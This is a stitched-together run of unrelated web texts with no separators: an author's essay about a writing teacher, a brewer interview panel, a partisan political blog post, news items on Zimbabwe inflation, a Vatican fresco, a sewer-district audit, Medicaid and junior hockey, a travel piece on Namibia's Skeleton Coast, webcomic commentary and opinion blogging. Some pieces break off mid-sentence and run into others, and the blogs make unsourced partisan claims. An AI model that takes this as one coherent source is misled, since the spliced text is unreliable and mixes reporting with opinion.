We laughed a lot in that class and we cried too. Hauling words in quickly, without looking too closely, can bring up unexpected lumps of hurt. All of us were mugged by our own tears at one time or another. I remember stopping half way through a piece, unable to get the words past the lump in my throat and Dorothy saying ‘It’s okay. Just take a deep breath until you’re able to go on. Nobody ever died from crying.’
If I could give any budding writer one thing, it would be an hour in Dorothy’s class. But she died of liver cancer in 2004, ten days before her first collection of poetry was published.
I started a small writing group, based on her method, with my friend Kate Kerrigan. She brought along her friend Marian Keyes and Marian brought two friends of hers. We’d meet in my office on South William Street every week and write and read and tell one another what was great about what we’d written.
My work-mates called us ‘the coven’ because of the shrieks of laughter that leaked beneath the closed door. And they weren’t so far off the mark. There was a kind of white magic going on in that room, for me, anyway. I had other voices in my head now when I sat down to write. The kind, gentle, supportive ones of my writer friends.
My inner critic didn’t disappear overnight (in fact, she’s right behind me as I type this, making me rewrite every other sentence.) But I learned to ignore her more and more. I started writing travel pieces and had them published. I went on a writing course to Greece. I began to write every single day. I fed my appetite. I edged out of my darkness into the light.
My first novel was published in 2011. I thanked Dorothy in the acknowledgements and, I should have thanked her in the second and third novels too, but I forgot, the way a child who has just learned to cycle forgets the grown-up who ran along beside her, holding the saddle, shouting encouragement, out until it was safe to let her go.
(c) Ella Griffin 2015
About The Flower Arrangement
Golden peonies bowing their heads beneath blue delphinium bells. Delicate pink anemones threaded between freckled green orchids. Soft apricot roses woven together with velvety purple irises.
Every bouquet tells a story.
And every story begins at Blossom & Grow, a tiny jewel-like flower shop in the heart of Dublin. Here, among the buckets of fragrant blooms, beneath the flickering candles and lanterns, Lara works her magic. Translating feelings into flower arrangements that change hearts and lives.
But what about her own heart? Has she really healed since she lost her chance to be a mother? What will happen when her own story takes a sudden turn?
Can the flowers that heal the customers work their magic on the florist?
The Flower Arrangement is in bookshops now or pick up your copy online here!
About Ella Griffin
Ella Griffin was born in Dublin. She is an award-winning advertising copywriter and travel writer. She lives in County Wicklow with her husband Neil and their deerhound, Haggis.Over the course of February, we got the chance to interview brewers from six of our favorite Boston-area craft breweries. Each of them weighed in on more than a dozen questions for our first ever brewer panel.
In this post--the first in a five-part series--you’ll hear from brewers at Jack's Abby Brewing, Clown Shoes, Pretty Things Beer & Ale Project, Nightshift Brewing, Idle Hands Craft Ales/Enlightenment Ales, and Aeronaut Brewing Co. on evolving beer tastes and the creative process for coming up with a new beer.
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How are your customers’ tastes evolving? And where do you feel the craft beer movement is headed next?
Jack Hendler, Brewer at Jack's Abby Brewing, Framingham, MA (@JacksAbby)
That's the million dollar question. I've believed for years that as craft continues to attract mainstream beer drinkers, craft would need more "gateway" or mainstream beers. So far I've been wrong as very hoppy beers continue to grow at a staggering clip. It's hard to tell if extreme hoppy beers are a fad or will continue their upward trend.
Adrian Beck-Oliver, Brewer at Aeronaut Brewing Co., Somerville, MA (@AeronautBrewing)
We're certainly very firmly in the hop-forward age of beer, any time we put on an IPA in our tasting room it sells out in one or two weeks. Beyond that, as people are getting more interested in craft beer and educate themselves on what's out there, they try more styles. With our 8 draft lines we try to keep a varied menu in terms of style origin, light to dark, low to high gravity, etc., to not only cater to individual preferences, but also allow a curious drinker to try several different styles. As a movement, it seems as though drinkers are interested in trying new ingredients, aging processes, and wild fermentations. I think people are also realizing they like drinking multiple beers and socializing, so session beers, or beers below 4.5% ABV, are becoming popular on the craft side.
Dann Paquette, Brewer at Pretty Things Beer & Ale Project, Somerville, MA (@PrettyBeer)
I'm not sure tastes are evolving but because of the internet beer drinkers are well aware of all of their possibilities. To be honest, I don't really know or care where this is going next. Hopefully it can get back to using the great raw materials beer gives us, rather than the gimmicked-up beers that really don't do anything to promote this brilliant beverage. I'm certain sour beer will continue to grow in market share, as will hoppy beer.
Rob Burns, Co-Founder at Nightshift Brewing, Everett, MA (@NightShiftBeer)
It's tough to predict but right now hops are the hottest thing about beers. Consumers are really crushing hoppy beers. With all the unique flavors that new hops provide, it really opens up the possibility to make hoppy beers in a way that wasn't possible 15 years ago. I think the industry will see a shift away from hoppy beers at some point--this may be due to a limited amount of sexy hops or because of palate fatigue. There is so much more you can do with beer than add loads of hops. I can see people heading towards yeast-forward or malt-forward and more delicate beers in the future.
Ben Howe, Founder and Head Brewer at Idle Hands Craft Ales/Enlightenment Ales, Everett, MA (@idlehandsbeer/@Alelightenment)
That's a big question and I don't have a very well thought out answer. I'm not overly optimistic to tell you the truth. I think there's been a lot of growing up and maturing among many of the people I know in beer; myself included. People loving sours and nice mellow lagers and such. But, and I know this will get me in trouble, I'm concerned that a growing number of craft beer consumers are blindly focused on hoppy beers as the only ones that matter. Not that we shouldn't love hops or anything, I'm just worried there are many many new craft beer lovers who only love hops to the exclusion of all else. It seems to me this is driving the market to a place that is neither desirable, nor sustainable. Also, there's a lot of breweries opening. In some ways it's awesome as there's more great beer to drink and pretty fierce creative competition. It's really forcing all of us to up our games and I love that. However, there's also a lot of people starting up who neither have any professional brewing experience nor any desire to get any before starting a commercial brewery. This is leading to some very mediocre beer and, I know this will get me in trouble, too, sub par palates and expectations among new craft beer enthusiasts. It's weird. We're making some of the best most interesting most well executed beers we've ever made and some of the most dismally sad and sloppy beers... and the consumers are eating it all up. Bizarre.
Bryan Doran, Test Batch Brewer at Clown Shoes Beer, Ipswich, MA (@clownshoesbeer)
Clown Shoes has customers as diverse as the beers we make. We are really fortunate to be making beer at a time when we have such active and immediate feedback in the social space. I am happy that our base enjoys the new flavors that we have been developing with our barrel-aged program. They appreciate that we go out of our way to get quality ingredients--like the choice of the Pierre Ferrand Cognac barrels. In the five years Clown Shoes has been around, the craft beer space has changed dramatically. There are so many great beers being produced and the market is accepting more unique styles. So I think brewers will be able to continue to explore quality ingredients and have a base that is willing to support our short-run unique twists.
Walk us through the creative process of coming up with a new beer.
Jack Hendler, Brewer at Jack's Abby Brewing, Framingham, MA (@JacksAbby)
The creative process for Jack's Abby revolves around finding inspiration from something. It may be a new ingredient, brewing process, beer style, etc. that drives us to create a new beer. My curiosity originally with brewing was more process-oriented. I'm always looking for new brewing process ideas to create unique brews. That might mean a new mash regimen, boil procedure, temperature program, hop dosing method, etc. that would create a new beer. Particularly with our brewery being an all lager brewery, our process is really what separates us from most others.
Adrian Beck-Oliver, Brewer at Aeronaut Brewing Co., Somerville, MA (@AeronautBrewing)
The first step is getting the inspiration, which can come from a variety of different places. It can be as simple as wanting to brew a specific style and doing research into recipes and tasting a variety of examples. It can also be finding a new hop, malt, or yeast variety you want to use to select ingredients to complement those flavors. It can also be tasting a beer from another brewery, having an interestingly spiced meal, or finding an intriguing character in a wine, spirit, or cocktail. From their I think through how I want the beer to be, not just alcohol and color, but mouthfeel, finishing gravity, carbonation level, aroma, dominant and supporting flavor characters. Once the recipe is designed, we'll test it on our 1 barrel (31 gallon) prototype system, tweak and re-brew as necessary, then scale it up to our 10hL production system.
Dann Paquette, Brewer at Pretty Things Beer & Ale Project, Somerville, MA (@PrettyBeer)
Usually the idea is already there when we realize that there's an opening for a new beer. Most of the time it's something that I've tasted in Europe or even a mistake I made, or a new raw material that gets me thinking. Then it's about texture and hopefully creating a solid backdrop using things I already know work. Then on top there's probably two or three things that I am curious about and trying for the first time. Subtle things, but new to me and Martha.
Rob Burns, Co-Founder at Nightshift Brewing, Everett, MA (@NightShiftBeer)
For me, its always different. I look for inspiration from various sources, whether it be cooking, non-alcoholic beverages (tea, juices, etc.), cocktails or another brewer's beer--all can trigger a beer idea. Then from there I pitch it to our team and we start to think it through. What grains, hops, yeast, fermentation temperature, special ingredients, process do we need to create the flavor profile we are describing? After some thought, the pieces start to fall in place and once we are confident with it we go for it. It's always fun brewing something new, but it's also challenging. Will you strike the right balance? Will it taste like you imagine?
Ben Howe, Founder and Head Brewer at Idle Hands Craft Ales/Enlightenment Ales, Everett, MA (@idlehandsbeer/@Alelightenment)
It's kinda weird. For my Enlightenment Ales project, I start with an experience in mind that I want to convey. Then I try to imagine what it would be to enjoy that experience--how a beer would convey it to the drinker. Once I have an idea of what the beer should taste like, I work backwards and figure out what I need to do ingredients and process-wise to execute those flavors. Then I agonize over it for a few months until I brew the first batch.
Bryan Doran, Test Batch Brewer at Clown Shoes Beer, Ipswich, MA (@clownshoesbeer)
Our owner, Gregg Berman, is the creative guy behind the beers. He brings up ideas and we sit around and discuss the flavors and if it would work. We then bring the idea to Dan Lipke (head brewer at Mercury) to construct commercial-sized recipes. We have a new 1/2 bbl system, so that we can have a more formal process internally and test some ideas before we approach Mercury. We're currently testing our summer beer, a mango kolsch.
Make sure you're on the mailing list for the next post in the brewer panel series by signing up here.Clinton Ally and CIA Benghazi Talking Points Massage Therapist Mike Morrell: There's Smoke But "No Fire, At All" In Claims of Russia-Trump Collusion
That should be the end of the matter, but then, Clapper's statement that there was absolutely no evidence of such a deal also should have been the end of the matter, but wasn't.
As some wag -- maybe a commenter here -- hinted, the media is going to go through and endless cyle:
Pound the Russia drum.
When that fails, pound the tax drum.
When that fails, pound the Russia drum.
Occasionally mix in a Pussy March and then repeat.
On Trump's counter-suit (feels like a counter-lawsuit, anyway) that Obama wiretapped him:
Ryan and the Senate Intel committee say there's no evidence of surveillance at Trump Tower.
But that's Trump Tower. Trump's accusation was broad and sloppy, but I notice these denials are very specific and very precise.
For his part, Trump doubles down and promises that "evidence" will be coming soon, maybe in the next two weeks.
Meanwhile, Judge Napolitano claimed on FoxNews that three sources had told him that people in the Obama Administration had asked Britain's NSA, the GCHQ, to do the spying.
That's a routine and plausible practice -- it's well known that the US cannot spy on its own citizens, so it occasionally (and illegally) asks the British to do it for them, who are not barred from spying on US citizens. And the US performs the same favor in return for them.
Whether that happened here, who knows. But the general practice of "you spy on the ones we're not allowed to, and we'll spy on the ones you're not allowed to" isn't a well-kept secret. (See section titled "Concerns."
I have no idea on these claims. I do know, without a doubt, that Obama changed the rules regarding "minimization" (blacking out) of the names of US citizens "incidentally" caught in surveillance captures, and then disseminated this information all around the government. I also know that that information was subsequently leaked -- which I surmise was the plan all along.
The strident belief held by some that this didn't happen seems to rely chiefly on a belief that Obama wouldn't do something like that -- an opinion I don't share in -- and the claims of Obama's top ranking spymasters who say they wouldn't do something like that.
A claim I also don't put much stock in.
I'm increasingly baffled by what the rules on concerning propagating suspicions for which there is "no evidence" -- apparently one is officially a member of the Smart Set for propagating evidence-free suspicions about Trump collusion with Russian intelligence, but one is an unhinged conspiracy monger lunatic for entertaining evidence-free suspicions about Obama collusion with British intelligence.
Help me out, fellas -- what is the basis for this distinction, other than some of you seem to like Obama a lot more than Trump?HARARE, Zimbabwe (AP)
— Weary Zimbabweans are facing a new wave of price increases that will put many basic goods even further out of their reach: A loaf of bread now costs what 12 new cars did a decade ago.
Independent finance houses said in an assessment Tuesday that annual inflation rose this month to 1,063,572 percent based on prices of a basket of basic foodstuffs. Economic analysts say unless the rate of inflation is slowed, annual inflation will likely reach about 5 million percent by October.
As stores opened for business Wednesday, a small pack of locally produced coffee beans cost just short of 1 billion Zimbabwe dollars. A decade ago, that sum would have bought 60 new cars.
To ease cash shortages, Zimbabwe recently introduced a $500 million note,
see BBC report here
.
Thanks to
SCSU ScholarsThe group of tiny figures was discovered during the restoration of a magnificent fresco, owned by the Vatican, which depicts Christ's Resurrection.
The painting, by the Renaissance master Pinturicchio, was finished in 1494, just two years after Christopher Columbus first set foot in the New World.
It has adorned the walls of the Borgia Apartments in the Vatican for 500 years but was only recently subjected to restoration work.
The naked men, who appear to be dancing, were spotted by a restorer, Maria Pustka, as she removed centuries of grime.
The figures, which appear just above the image of an open marble casket from which Christ has risen, had previously gone unnoticed.
The discovery was unveiled by Antonio Paolucci, the director of the Vatican Museums, in L'Osservatore Romano, the city state's daily newspaper.
Prof Paolucci suggests that the "nude men, who are decorated with feathers and seem to be dancing," were inspired by the descriptions of tribesmen that Columbus brought back from his travels.
Columbus's voyages across the Atlantic were commissioned by Spain, but Prof Paolucci said the Vatican would inevitably have heard of his discoveries, particularly given that the Pope at the time, Alexander VI, the notorious Rodrigo Borgia, was Spanish.
"The Borgia Pope was interested in the New World, as were the great chancelleries of Europe. It is hard to believe that the papal court, especially under a Spanish pope, would have remained in the dark about what Columbus encountered," Prof Paolucci said in the article.
Columbus described meeting tall, well-built natives whose bodies were daubed with red and black pigmentation and who gave him parrots as presents.
The explorer, who was from Genoa, made four journeys in total, all under the patronage of King Ferdinand and Queen Isabella of Spain.
He set out on the first voyage in August 1492, with his first land fall in the New World believed to be an island in what is now the Bahamas.
He continued to modern-day Cuba and Hispaniola, all the time looking for gold. When he arrived back in Spain in March 1493, news of his discoveries became a sensation and spread through Europe.
He described his encounters in letters to Ferdinand and Isabella, and within months a copy of the letter, written in Latin, was circulating in Rome.
Pope Alexander VI soon found himself playing a pivotal role in the New World discoveries – he had to arbitrate between the competing claims of Spain and Portugal.
While Alexander deliberated on the division of spoils and issued papal bulls, Pinturicchio was busy decorating the Borgia Pope's apartments.
At a time when the Columbus's epic discoveries were so much a part of Vatican affairs, Prof Paolucci believes that it is no surprise that a reference to the New World features in the painting.
The mysterious figures remain unnoticed for so long because the Borgia Apartments were abandoned after the death of Alexander VI in 1503.
Subsequent Popes did not want to be associated with the notorious family of schemers and adulterers.
They were only reopened in 1889 by Leo XIII, and are now used to display a collection of religious art.CINCINNATI -- Hamilton County's sewer district could save customers $1.9 million each year by cutting IT staff and outsourcing some customer service jobs, according to a state audit released Tuesday.
In the case of information technology, Ohio Auditor Dave Yost found the overspending was massive: 1,728 percent higher than national benchmarks.
But MSD Director Gerald Checco argued the savings may be far less. In some instances, he said Yost's audit compares apples and oranges.
"We have had this audit going on over a year. And over a year, they found 2 percent of things that could be saved -- and I emphasize 'could' be saved," Checco told WCPO.
"When you look at it, at most, we have about a quarter-percent savings."
Yost's review came after years of steep rate hikes and bickering between the city of Cincinnati, which operates the sewer district, and Hamilton County, which owns it. The two governments are sparring for future control of MSD because a 50-year agreement creating the district expires next year.
The audit found the county's monitoring, a point of contention for city leaders, doesn't have goals and performance metrics to see if it's effective. County monitoring costs about $14 of the $49 customers paid in 2015 for MSD administration and overhead, Yost said.
"The current structure is not workable," Yost said in a news release. "I hope this audit serves as a wakeup call for leaders of Cincinnati, Hamilton County and MSD to restructure the system to improve operations and monitoring to reduce internal costs. Ultimately, these improvements will reduce the rates homeowners and businesses pay for service."
Checco saw the preliminary audit before Yost's office released it Tuesday. He told City Manager Harry Black he generally supports the findings, and Yost said the sewer district has already acted on some of the recommendations.
Yost's office also is conducting a special audit of MSD after concerns arose about the district’s competitive bidding, contracts and payments. Results of that audit haven't yet been released -- but the issue was serious enough to warrant an FBI investigation, according to City Solicitor Paula Boggs Muething.
Too-high costs for information technology
MSD has 16 more IT employees than it needs, Yost's audit found ; eliminating those positions would save $1.56 million.
The district has two technology groups, one with 21 full-time employees and another with nine. A consultant recommended the two divisions.
Auditors checked MSD's IT services three ways:
average cost per ticket
tickets handled per month, and
users supported per full-time employee.
Because of differences in complexity and time needed to resolve IT issues, auditors based their potential savings estimate on the number of users served per employee.
The national benchmark for staffing is 42 users per IT staffer. One of MSD's IT groups handled just 21 users per staffer, while the other supported an average of six.
The costs per ticket were massive: $1,191 for one group and $2,286. The benchmark: $125 per ticket.
IT staffers handled far fewer tickets than the national benchmark of 88 per month: One group's per-employee average was 7.3, and the other's was 4.1.
Checco said it's not a fair comparison because MSD's technology staff does much more than handle service calls: They create platforms and software for the agency, he said.
Also, one "ticket" in MSD's system might be something affecting hundreds of staff members, he wrote in a report to Black.
"We are staffed at the level that more or less I think we should be at," Checco told WCPO.
He also said Yost's office used data from a time MSD was splitting its internal functions from Greater Cincinnati Water Works. So, Checco said, Yost's results might not be accurate.
"We understand the benchmarking the state auditor did, on IT particularly, but because they were dealing with a set of data that were not necessarily correct, that equation becomes not as pertinent," Checco said.
Use contractor for dispatching
MSD could save $237,100 by outsourcing its customer service dispatching jobs, Yost said:
MSD has four customer service dispatchers who handled 4,225 calls in 2015, at a cost of $245,657.
The same year, a contractor handled 1,852 calls for $10,662.
The total cost in 2015 was $265,319.
If the contractor dispatched all calls, the cost would have been $28,140.
Other potential savings:
MSD has overtime costs that were up to three times higher than the industry standards, Yost's audit found. That's because the district has less staff for collecting and treating wastewater than other agencies, Checco said. Overtime pay is how MSD handles peak demand without hiring more workers.
Reducing the number of vehicles in MSD's fleet would save at least $67,900, he said. MSD has already cut its fleet beyond what Yost recommended, Checco said, saving $70,000.
"We have had a very flat operating expense for the last 10 years, which is much lower than comparable agencies," Checco told WCPO. "As I said, we are lower per household than peer agencies per household in Ohio."This is a list of notable people who served as ambulance drivers during the First World War. A remarkable number—writers especially—volunteered as ambulance drivers for the Allied Powers. In many cases, they sympathized strongly with the ideals of the Allied Powers, but did not want, or were too young or old, to participate in a combat role. For women, combat was not an option at the time. Several of the Americans on the list volunteered before the United States' 1917 entry into the war. Many of the American writers would later be associated with the Lost Generation.
Businessmen [ edit ]
Composers [ edit ]
Filmmakers [ edit ]
Writers [ edit ]
Other notable people [ edit ]
People who served the Allies in a related capacity [ edit ]Posted January 4, 2016 at 1:01 am
- Revenge of the Angelic Tweeting Bird
HOLY CARP SHE LOOKS COMPLETELY DIFFERENT
One of the reasons Grace didn't transform before returning to the basement was simply how truly subtle the transformation is. There's definitely a difference to her figure, but it could take a second glance to even realize she'd become male, and the difference isn't particularly apparent without showing her torso.
This could have been problematic, which naturally brings us to the next topic...
Much like the previous comic with the angelic tweeting bird and the commentary therein, this is a comic that could prompt a predictable discussion about shirts and the okayness of their absence. It could, therefore, be considered in my best interest to address that right here and now so as to prevent an onslaught of questions and opinions being sent to me.
The problem with that, however, is that this isn't the comic commentary to do that in. Doing so would, in fact, be stepping on the toes of future comics, which I do not intend to do. It is rude to step on the toes of comics, and confusing, for one would assume they have not the toes to step on.
So please, keep that in mind.
One potentially obvious question I will answer now, however, is this: No, they can't see the angelic tweeting bird. The bird exists outside of the fourth wall, as hinted at by what happens when she overlaps with the panel border (and, you know, nobody reacting to the suddenly appearing bird with the halo).
Second potentially obvious question I will answer now: Yes, I have just now arbitrarily decided that the angelic tweeting bird is a girl.A barren stretch of shore in Namibia maintains a reputation as one of the harshest places on earth…and it has an ominous name to match. The Skeleton Coast owes its appellation to the whalebones that peppered the shoreline when the whaling industry was booming, as well as, more ominously, to the hulking carcasses of sea-wrecked ships buried in the sand and disintegrating in the water—more than 1,000 have met their end on the deadly coast.
But Skeleton Coast isn’t even the region’s most foreboding title. First encountered by daring Portuguese explorers in the 15th century, the region was dubbed “The Gates of Hell” because of its harsh conditions. Locally, Namibia’s Bushmen tribes know it as “the land God made in anger.”
And it’s not hard to see where these nicknames come from. The 310 miles of the Namib Desert’s shore comprise a national park that is divided into a northern and southern section by rivers. Between the northern border of Angola and one of the park’s intersecting rivers, the most extreme and delicate portion of the coastline is known as the Skeleton Coast Wilderness. Puddle-jumping Cessnas are the only way in, and Land Rovers are the only way to get around. A mere 800 travelers are allowed to visit the northern area of the park each year through safari tours, and prices are steep.
Even entering the Skeleton Coast is a foreboding task. Visitors arrive to the park at the Ugab River and are welcomed by gates bearing two skull and crossbones. Once inside, death is omnipresent: the desert’s yellow sand and sloping dunes are littered with animal graveyards and are only overshadowed by the skeletal ship remains that rise out of the bleak landscape.
For centuries, offshore rocks, strong surf, and dense fog have cursed boats landing and launching in the Atlantic. The first documented victim of the Skeleton Coast was Portuguese navigator Diego Cão, who died sailing from the coast in 1486 after erecting a massive stone cross that would attract later ships, many of which met similarly disastrous fates.
Famously, the Dunedin Star, a British liner, crashed on these shores in 1942. When two rescue boats went to its aid, they sank as well, killing two crewmen, and stretching the rescue attempt into a 26-day affair. Another ship, the Eduard Bohlen, currently rests half-buried inland after crashing in 1909. And an unnamed vessel that hit the brutal coastline in 1860 has a particularly dark story. In the 1940s, a dozen skeletons were found along with a slate reading, “I am proceeding to a river 60 miles north, and should anyone find this and follow me, God will help him.” Tales like this, of sailors wandering the desert for miles searching for food and water, abound amid the brutality of the region.
Skeleton Coast is also sprinkled with living oddities. There is a remote police station where officers man a museum of wreckage, including curiosities ranging from human skulls to brass cannons and life vests from whaling ships. One lively stretch hosts a smelly community of some 250,000 Cape fur seals.
The brutal terrain also hosts a surprising array of animals. Elephants trekking through the sands have adapted to the desert, and have even been said to enjoy sliding down the dunes, while giraffes, lions, zebras, black rhinos, and hyena can be found in various areas, vying to survive.
The northern, inaccessible area of Skeleton Coast is home to a tribe of the country’s last nomadic herders who live in mud huts and subside solely on meat. Their skin has an earthy sheen from the ocher and butter mix they use to protect themselves from the sun’s harsh rays. The Himba people are thought to have originally come from East Africa, but have been traveling the Skeleton Coast for centuries.
The coastal dunes are also one of the only places in the world where visitors can experience the phenomena of “roaring dunes,” where a perfect storm of sand grains and air creates a rumble as loud as a low-flying plane.
But the barren wilderness isn’t the only thing that’s ripe for exploration along this coastline. Just south of Skeleton Coast Park, remnants of German colonizers remind explorers of a time when the Namib Desert was prime hunting ground for fortune-seeking diamond miners. Kolmanskop was a |
program.
McAuliffe campaigned on a promise to expand Medicaid, which had been resisted by then-Republican Gov. Bob McDonnell. However, Republicans have nearly a two-thirds majority in the House of Delegates. And, as Sabato explained, the only way most of them can lose is through a Republican primary in which they are not viewed as conservative enough.
Phillip Puckett AP "This is really about Obamacare," Sabato said of the dispute. "Forget about Medicaid."
What happens now? There are three immediately foreseeable solutions. The first, as McAuliffe contended is still possible Sunday night, is the Senate still passes a budget funding Medicaid expansion. Three moderate Republicans have expressed support for the expansion, but "they can be persuaded," Sabato said. The new developments, meanwhile, have energized the party as a whole.
If the Senate does manage to pass a budget with the Medicaid funding, it would mean a standoff between Republicans in the House and Senate Democrats, with McAuliffe backing Democrats.
Another potential outcome is that Republicans, emboldened and unified by the power play, could refuse the expansion in both the House and Senate. It could leave McAuliffe with no choice but to blink, unless he is prepared to take on the uncertain political and legal future of a potential shutdown.
But McAuliffe has also been preparing for a potential third option. According to The Washington Post and confirmed by a source with knowledge of his deliberations, McAuliffe has looked into whether he has the ability to bypass the legislative process altogether and expand Medicaid by executive order. But whether he has the legal authority to do so is unclear, and it is clear the move would cause a political firestorm.
McAuliffe said only Sunday night that he was "disappointed" by Puckett's move, touting the fact three Republican senators have offered sentiments of support for the expansion.
"I am deeply disappointed by this news and the uncertainty it creates at a time when 400,000 Virginians are waiting for access to quality health care, especially those in Southwest Virginia," McAuliffe said in a statement.
"This situation is unacceptable," the statement read, "but the bipartisan majority in the Senate and I will continue to work hard to put Virginians first and find compromise on a budget that closes the coverage gap."COPENHAGEN, Denmark - Hockey Canada and the Canadian Hockey League announced Friday that two players have been released by Canada’s National Junior Team and will be returning immediately to their respective club teams.
The players released Friday evening were defenceman Damon Severson (Melville, Sask./Kelowna, WHL) and forward Hunter Shinkaruk (Calgary, Alta./Medicine Hat, WHL).
Canada’s roster is now at 23 players, including two goaltenders, seven defencemen and 14 forwards. One more player will be released to get Canada down to the maximum of 22 players for the 2014 IIHF World Junior Championship. Once those 22 players have been registered officially with the International Ice Hockey Federation, no changes can be made to that roster.
Canada’s National Junior Team played its first of three pre-tournament games today, beating Finland 4-2 in Ängelholm, Sweden. Canada has two more pre-tournament games, on Dec. 22 against Sweden and Dec. 23 against Switzerland. All of Canada’s pre-tournament games are being broadcast live by Hockey Canada’s official broadcasters, TSN and RDS.
The 2014 IIHF World Junior Championship gets underway on Dec. 26, with Canada facing Germany at 7:30 a.m. ET/4:30 a.m. PT. All of Canada’s games will be carried live on both TSN and RDS. Check local listings for times and details in your broadcast area.
NOTE TO MEDIA: André Brin will be with the team through the pre-competition camp and the IIHF World Junior Championship. All interview requests can be directed to [email protected]. Requests will be accommodated when possible, within the team’s schedule and the time difference.
For more information on Hockey Canada, the Program of Excellence and Canada’s National Junior Team, go to www.hockeycanada.ca, or follow along through social media at www.facebook.com/hockeycanada, www.twitter.com/hockeycanada and www.twitter.com/hc_men.Hossein Moiin first heard about pCell more than a year ago, when ex-Apple CEO John Sculley mentioned it during a private conference in San Francisco.
And pCell—an experimental means of providing what is essentially a super-high-speed bubble of wireless signal that can follow smartphones from place to place—played right into Moiin's line of work. He's the executive vice president and chief technology officer at Nokia Networks, the Finnish company that helps build cellular networks for the likes of Verizon, AT&T, and other wireless carriers across the globe. Though pCell has been billed as something that can deliver wireless networks that are 1,000 times faster than those we use today, Moiin didn't buy Sculley's pitch. He thought that pCell was bunk. "We took a look at it and said: 'Eh, it doesn't seem very possible,'" he remembers.
Perlman's technology creates a cell signal for each individual phone—a signal that in effect follows the phone from place to place.
All these months later, however, Moiin has reversed his stance. After another team at the company examined pCell more extensively, Nokia Networks and the small startup behind the technology, Artemis Research, have signed a "memorandum of understanding" that will see Nokia test pCell networks in large indoor stadiums and other areas where particularly large amounts of wireless bandwidth are required. "We'll put everything together in a real-life setting and see how it scales," Moiin says. "It's a promising technology, and in theory, it should scale."
Steve Perlman, the serial Silicon Valley inventor at the heart of Artemis Research, says that the deal puts pCell one step closer to deployment inside "tier-one" wireless carriers. Artemis, he says, is already on the verge of deploying the technology inside one such carrier, though he declined to provide details. Nokia Networks, which recently agreed to acquire competitor Alcatel-Lucent, is one of the world's largest providers of telecommunications equipment, right up there with the Sweden-based Ericcson.
The Network That Follows You
Perlman—best known for helping create Apple's QuickTime video technology and later selling his web TV company to Microsoft for a half-billion dollars—began work on pCell over a decade ago. For the past year and a half, he has been shopping the tech to various wireless carriers and network hardware providers such as Nokia Networks (not to be confused with the Nokia cell phone business, which was recently acquired by Microsoft).
pCell is short for "personal cell." Whereas today's networks provide a massive "cell" of wireless coverage that's shared among all phone users in a particular area, Perlman's technology creates a cell signal for each individual phone—a signal that in effect follows the phone from place to place.
According to Perlman, it provides about as much network bandwidth as today’s cells. The difference is that you don't need to share the bandwidth with anyone else. The result: a significantly faster signal for everyone. At times, Perlman has claimed that the signal will be 1,000 times faster than today's signals, but Artemis, Nokia Networks, and others are still rolling out real-world tests.
The technology is part of a larger effort to significantly increase the bandwidth offered by today's wireless networks—something that is very much in need as we stream more and more data, particularly video, to our cell phones and tablets. Moiin says that Nokia has also looked at similar technology under development at MIT, and big-name carriers such as Verizon and T-Mobile are exploring technology that could deliver cellular networks via the same unlicensed spectrum used by today's Wi-Fi networks. For Moiin, pCell will be "part of the toolbox" that helps us expand beyond today's 4G networks and towards something faster.Rick Warren speaks at the 2006 TED conference. (Photo credit: Wikipedia)
However, an investigation into Warren’s involvement in Africa reveals a web of alliances with right-wing clergymen who have sidelined science-based approaches to combating AIDS in favor of abstinence-only education. More disturbingly, Warren’s allies have rolled back key elements of one of the continent’s most successful initiative, the so-called ABC program in Uganda. Stephen Lewis, the United Nations’ special envoy for HIV/AIDS in Africa, told the New York Times their activism is “resulting in great damage and undoubtedly will cause significant numbers of infections which should never have occurred.”
Warren’s man in Uganda is a charismatic pastor named Martin Ssempa. The head of the Makerere Community Church, a rapidly growing congregation, Ssempe enjoys close ties to his country’s First Lady, Janet Museveni, and is a favorite of the Bush White House. In the capitol of Kampala, Ssempa is known for his boisterous crusading. Ssempa’s stunts have included burning condoms in the name of Jesus and arranging the publication of names of homosexuals in cooperative local newspapers while lobbying for criminal penalties to imprison them.
President-elect Obama made a big mistake when he selected Christian extremist and known bigot Rick Warren to speak at his inauguration. So far, he has ignored the public outcry from his supporters and is rapidly losing the political capital he accrued with this observer during his admittedly impressive campaign. In defending Warren, Obama loves to tout Warren's work on AIDS in Africa. I admit that this sounds impressive, but I am less impressed with breaking news about Warren's association with a lunatic pastor who has been burning condoms for Jesus.According to Max Blumenthal of The Daily Beast, controversy over Obama's selection of Warren prompted additional investigation of what exactly Warren did in Africa. For something so seemingly laudable, Blumenthal found that Warren was surprisingly tight-lipped about his work in Africa. Now we know why.Instead of praising Warren's work on AIDS in Africa, Obama's transition team should have realized that he was actually doing whatever he could to undermine reality-based approaches to the prevention and treatment of HIV/AIDS. In the opinion of this author, this news is right up there with the most damning things we have yet heard about Warren. It should certainly be grounds to uninvite him from the inauguration.Okay, but burning condoms for Jesus? Come on! No, actually that was a serious accusation.Is this the sort of company Obama plans to keep as President? Does he really want to ask Americans to embrace this sort of idiocy. I hope not, and I look to Obama to pull the invitation for Warren to speak.Iran’s foreign minister has been heavily criticised for allowing a female British Foreign Office official to enter the Iranian Embassy in London without a hijab.
Senior Foreign Office official Deborah Bronnert represented the British government at the reopening of the Iranian embassy in London.
A photo of the event was shared by My Stealthy Freedom, a Facebook page set up by journalist Masih Alinejad which encourages Iranian women to discard their hijabs in public.
We’ll tell you what’s true. You can form your own view. From 15p €0.18 $0.18 $0.27 a day, more exclusives, analysis and extras.
The group wrote on Facebook that conservative media in Iran had attacked Mehdi Denesh-Yazdi, one of Iran’s foreign ministers, for “allowing her to enter without a hijab”.
It is illegal for women to appear in public without a hijab in the Islamic Republic of Iran. Women who do are sentenced to between ten days and two months imprisonment or forced to pay a fine.
یک دیپلمات انگلیسی بدون روسری وارد سفارت ایران در لندن شد، جهان به پایان نرسیداما بسیاری از رسانه های محافظه ها داخلی ش... Posted by My Stealthy Freedom آزادی یواشکی زنان در ایران on Monday, 24 August 2015
Bronnert has been praised for her actions.
The group wrote on Facebook: “We congratulate her and wish for more female diplomats to respect themselves and women’s right and not obey an unjust law.”
Speaking to The Independent, Masih Alinejad said: “She is defiantly aware of our campaign. I respect her decision to reject compulsory hijab because a bad law should be rejected.
“If the UK insists on all women not to wear head scarves, all Muslim countries, including Iran would object. The UK should also insist on the same rights for its own diplomats.
“This is what Iranian women want, freedom to choose how they cover themselves.”
The foreign office declined to comment on the incident.
Following improved relations between Iran and the West, Foreign Secretary Philip Hammond has-reopened the British Embassy in Iran.
We’ll tell you what’s true. You can form your own view.
At The Independent, no one tells us what to write. That’s why, in an era of political lies and Brexit bias, more readers are turning to an independent source. Subscribe from just 15p a day for extra exclusives, events and ebooks – all with no ads.
